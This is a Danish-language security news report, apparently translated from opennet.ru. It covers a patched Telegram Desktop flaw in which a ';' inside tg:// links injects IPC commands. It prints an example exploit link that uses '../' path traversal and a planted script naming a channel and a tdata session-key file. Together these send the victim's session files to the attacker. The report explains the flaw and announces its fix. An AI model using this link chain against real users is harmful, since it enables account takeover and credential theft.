Detaljer og metoder for udnyttelse af sårbarheden (CVE-2026-107181) i Telegram Desktop, den officielle Telegram-klient til desktopsystemer, er blevet afsløret. Problemet skyldes manglende korrekt håndtering af ikke-escaperede separator-tegn i IPC-kommandoer, hvilket tillod, at klikket på et sendt link kunne aktivere overførelse af vilkårlige filer fra offerets system til angriberen, herunder filer med sessionsnøgler, som kan bruges til at overtage en Telegram-konto. Sårbarheden er blevet rettet i Telegram Desktop version 7.2.9.
Når man klikker på «tg://» links, starter operativsystemet den pågældende applikation Telegram Desktop. Hvis der allerede kører et andet eksempel af denne applikation, sender den kørende proces linket til den via en socket ved hjælp af IPC-grænsefladen. Problemet er, at hvis man angiver tegnet «;» blandt linkparametrene (for eksempel «tg://x?a=1;OPEN…»), opdeles indholdet, og delene efter tegnet «;» behandles som separate kommandoer.
Til angrebet anvendes kommandoen OPEN sammen med URI-skemaet «interpret:», der er beregnet til at køre administrationsscripts via IPC, som er blevet brugt til automatisk at sende nye versioner til kanaler. Scriptet indeholder en prædefineret lokal fil, hvor den fil, der sendes til kanalen, og kanalens id er angivet. Stien til scripts behandles relativt til en service-underkatalog, men på grund af manglende rensning af «../» i filstierne har angriberen mulighed for at få adgang til filer gemt uden for basisbiblioteket. For eksempel kan man uploade en fil til sin telegram-gruppe og derefter henvise til denne fil som et script ved at forberede et link af typen:
tg://x?a=1;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
Trinene i angrebet:
- Angriberen tilføjer offeret til sin gruppe (under standardindstillingerne kræver tilføjelsen ikke bekræftelse fra den tilføjede) og sender en tekstfil i denne gruppe, som angiver kanalen og stien til scriptet. Telegram vil gemme denne fil i et prædefineret system-underkatalog, når offeret tilgår gruppen.
channel: 2005234537
file: tdata/D877F783D5D3EF8Cs - Angriberen sender offeret et uskyldigt udseende link til sin hjemmeside (for eksempel «https://coolsite.org»), som ved åbning gennem omdirigering til serveren angriberen erstattes med en URI af typen ‘tg://x?a=1;OPEN:interpret:…;OPEN:interpret:….
- Når du klikker på linket, kalder browseren URI-behandleren «tg://», som aktiverer den ovenfor nævnte kæde af kommandoer, der resulterer i, at filer sendes til angriberens kanal uden nogen meddelelser og uden anmodning om bekræftelse af sendingen.
- Efter at have modtaget filer fra undermappen tdata med krypterings- og godkendelseskoder, kan angriberen uden en lokal adgangskode indstillet af brugeren klone offerets forbindelse på sit eget udstyr.
Kilde: opennet.ru
